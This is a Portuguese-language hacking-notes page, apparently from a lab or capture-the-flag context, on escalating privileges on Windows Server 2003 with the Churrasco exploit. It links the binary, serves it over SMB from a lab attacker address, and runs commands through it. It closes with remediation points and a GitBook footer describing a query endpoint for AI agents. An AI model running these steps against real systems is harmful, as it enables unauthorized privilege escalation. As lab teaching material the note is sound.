# Windows Server 2003 - Churrasco

Windows Server 2003 está obsoleto e expõe muitas vulnerabilidades históricas. Esta nota mostra o uso do Churrasco em um laboratório quando um contexto de privilégios compatível está presente.

## Detecção

```powershell
systeminfo
```

Verifique os privilégios disponíveis:

## Ferramenta

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

## Transferência via SMB

```bash
smbserver.py share $(pwd) -smb2support
```

```powershell
copy \\10.10.14.30\share\churrasco.exe churrasco.exe
```

Teste a execução:

```powershell
./churrasco.exe "whoami"
```

## Validação de Comando Privilegiado

Sirva um pequeno auxiliar de validação apenas se o laboratório exigir:

```bash
smbserver.py share $(pwd) -smb2support
```

Execute o comando através do Churrasco:

```powershell
.\churrasco.exe "cmd /c whoami /all > C:\WINDOWS\Temp\churrasco-check.txt"
type C:\WINDOWS\Temp\churrasco-check.txt
```

## Pontos-chave

* O Windows Server 2003 deve ser tratado como sem possibilidade de manutenção em produção.
* Confirme a arquitetura e os privilégios antes de testar o exploit.
* Corrija aposentando o sistema ou impondo isolamento rigoroso até que a migração esteja concluída.

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/kernel-exploitation/windows-server-2003-kernel-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
